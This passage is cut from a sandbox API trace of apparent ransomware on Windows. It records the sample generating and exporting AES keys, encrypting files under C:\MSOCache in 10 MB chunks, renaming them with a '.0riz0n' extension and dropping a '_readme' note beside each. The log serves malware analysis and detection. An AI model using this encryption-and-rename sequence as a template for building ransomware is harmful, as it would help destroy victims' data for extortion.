lpBuffer=0x1f60848*, lpNumberOfBytesRead=0x1a7fab0*=0x4c400, lpOverlapped=0x0) returned 1 [0250.941] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x4c400) returned 0x1facc50 [0250.959] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1f60848*, pdwDataLen=0x1a7faac*=0x4c400, dwBufLen=0x4c800 | out: pbData=0x1f60848*, pdwDataLen=0x1a7faac*=0x4c410) returned 1 [0251.024] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0251.024] NtClose (Handle=0x1c0) returned 0x0 [0251.024] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.0riz0n" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.0riz0n")) returned 1 [0251.025] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.0riz0n", dwFileAttributes=0x2020) returned 1 [0251.025] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0251.025] GetLastError () returned 0x2 [0251.025] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984948, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0251.025] GetLastError () returned 0x2 [0251.025] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0251.026] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0251.026] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0251.027] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0251.027] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1b) returned 0x1c7f030 [0251.027] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0251.027] NtClose (Handle=0x1c0) returned 0x0 [0251.027] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0251.027] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0251.027] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0251.027] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x2340020) returned 1 [0251.141] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0251.143] CryptDestroyKey (hKey=0x829d78) returned 1 [0251.143] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0251.143] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0251.143] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0251.143] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0251.143] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915)) returned 1 [0251.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0251.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0251.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0251.188] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0251.188] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0251.188] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0251.188] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0251.188] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915)) returned 1 [0251.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0251.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0251.188] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0251.188] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0251.188] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0251.188] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cabec50, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7cabec50, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915)) returned 1 [0251.188] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0251.189] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0251.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0251.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0251.189] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0251.189] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0251.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0251.189] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0251.189] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0251.189] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0251.189] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf98) returned 1 [0251.189] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0251.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0251.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0251.190] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0251.190] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0251.190] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1940) returned 0xa58890 [0251.190] ReadFile (in: hFile=0x1c0, lpBuffer=0xa58890, nNumberOfBytesToRead=0x1915, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa58890*, lpNumberOfBytesRead=0x1a7fab0*=0x1915, lpOverlapped=0x0) returned 1 [0251.192] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x1940) returned 0x1b19ee0 [0251.192] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1b19ee0*, pdwDataLen=0x1a7faac*=0x1915, dwBufLen=0x1d15 | out: pbData=0x1b19ee0*, pdwDataLen=0x1a7faac*=0x1920) returned 1 [0251.195] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0251.195] NtClose (Handle=0x1c0) returned 0x0 [0251.195] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.0riz0n" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.0riz0n")) returned 1 [0251.195] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.0riz0n", dwFileAttributes=0x2020) returned 1 [0251.196] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.0riz0n_readme", dwFileAttributes=0x80) returned 0 [0251.196] GetLastError () returned 0x2 [0251.196] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.0riz0n_readme"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0xc2a79c, ftLastWriteTime.dwLowDateTime=0x984968, ftLastWriteTime.dwHighDateTime=0x3bfb18, nFileSizeHigh=0x0, nFileSizeLow=0x1a7fae8)) returned 0 [0251.196] GetLastError () returned 0x2 [0251.196] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.0riz0n_readme" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.0riz0n_readme"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0251.197] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0251.197] WriteFile (in: hFile=0x1c0, lpBuffer=0xa9fe10*, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0xa9fe10*, lpNumberOfBytesWritten=0x1a7fab0*=0x15d, lpOverlapped=0x0) returned 1 [0251.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0251.198] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x13) returned 0x1be3cf0 [0251.198] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1a7fb60) returned 1 [0251.198] NtClose (Handle=0x1c0) returned 0x0 [0251.198] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.0riz0n_readme", dwFileAttributes=0x2020) returned 1 [0251.198] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7fc38) returned 1 [0251.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0251.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa58890) returned 1 [0251.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa21da0) returned 1 [0251.199] CryptDestroyKey (hKey=0x829d78) returned 1 [0251.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf08) returned 1 [0251.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40ed0) returned 1 [0251.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1f40dc8) returned 1 [0251.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0251.199] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa8c | out: lpFileInformation=0x1a7fa8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f)) returned 1 [0251.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0251.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c3e8 [0251.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c0c470 [0251.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c3e8) returned 1 [0251.199] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x1a7fb10, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0251.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c0c470) returned 1 [0251.199] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0251.199] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa88 | out: lpFileInformation=0x1a7fa88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f)) returned 1 [0251.199] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0251.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40dc8 [0251.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0251.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x100) returned 0x1f40ed0 [0251.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0251.200] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), fInfoLevelId=0x0, lpFileInformation=0x1a7fa40 | out: lpFileInformation=0x1a7fa40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f)) returned 1 [0251.200] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c0 [0251.200] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x1a7fa84, lpLastWriteTime=0x1a7fa84) returned 1 [0251.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f3f0 [0251.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9f368 [0251.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f3f0) returned 1 [0251.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9f368) returned 1 [0251.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf08 [0251.200] CryptGenKey (in: hProv=0x81e390, Algid=0x6610, dwFlags=0x1000001, phKey=0x1a7faa8 | out: phKey=0x1a7faa8*=0x829d78) returned 1 [0251.200] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x1a7faa4 | out: pbData=0x0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0251.200] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x240) returned 0xa21da0 [0251.200] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cf50) returned 1 [0251.200] CryptExportKey (in: hKey=0x829d78, hExpKey=0x822340, dwBlobType=0x1, dwFlags=0x0, pbData=0xa21da0, pdwDataLen=0x1a7faa4 | out: pbData=0xa21da0*, pdwDataLen=0x1a7faa4*=0x20c) returned 1 [0251.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf50 [0251.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cf98 [0251.201] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0251.201] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x0 [0251.201] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2340020 [0251.202] ReadFile (in: hFile=0x1c0, lpBuffer=0x2340020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0252.011] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0253.137] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0253.274] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x0 [0253.274] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0253.542] FlushFileBuffers (hFile=0x1c0) returned 1 [0253.824] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0xa00000 [0253.824] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0253.825] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0254.723] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0255.093] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0255.257] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=10485760, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0xa00000 [0255.257] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0255.451] FlushFileBuffers (hFile=0x1c0) returned 1 [0255.540] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x1400000 [0255.540] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0255.540] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0256.003] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0256.559] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0256.654] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=20971520, lpDistanceToMoveHigh=0x1a7fa98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1a7fa98*=0) returned 0x1400000 [0256.654] WriteFile (in: hFile=0x1c0, lpBuffer=0x2340020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2340020*, lpNumberOfBytesWritten=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0256.833] FlushFileBuffers (hFile=0x1c0) returned 1 [0256.917] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1a7fab0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1a7fab0*=0) returned 0x1e00000 [0256.917] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x2d50020 [0256.917] ReadFile (in: hFile=0x1c0, lpBuffer=0x2d50020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x1a7fab0, lpOverlapped=0x0 | out: lpBuffer=0x2d50020*, lpNumberOfBytesRead=0x1a7fab0*=0xa00000, lpOverlapped=0x0) returned 1 [0257.459] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0xa00000) returned 0x3760020 [0257.970] CryptEncrypt (in: hKey=0x829d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x2340020*, pdwDataLen=0x1a7faac*=0xa00000) returned 1 [0258.112] SetFilePointer (in: hFile=0x1c0, lDistanceToMove=31457280, 